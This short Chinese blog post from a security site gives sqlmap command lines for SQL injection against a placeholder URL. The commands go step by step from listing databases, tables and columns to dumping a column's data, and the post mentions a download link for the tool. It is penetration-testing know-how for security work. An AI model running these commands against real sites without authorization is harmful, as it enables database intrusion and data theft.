红客防线（网络安全运维实验室）

测试SQL注入：
# sqlmap -u http://www.test.com/index.php?id=1 --dbs
自动探测数据库类型和漏洞，如果成功会列出数据库：


获得某个数据库中的表：
#sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables

获得表的字段：
# sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns

下载某一字段的数据：
# sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns -C some_col --dump

这款工具也很好用，用来检测SQL漏洞注入比较精确，国内也有好几个SQL注入工具，博主以前也写过注入攻击工具哈；
神器下载地址点击这里，因为看到有人留言想要，还说想要源码，好吧、更新贴出它们官方网站吧。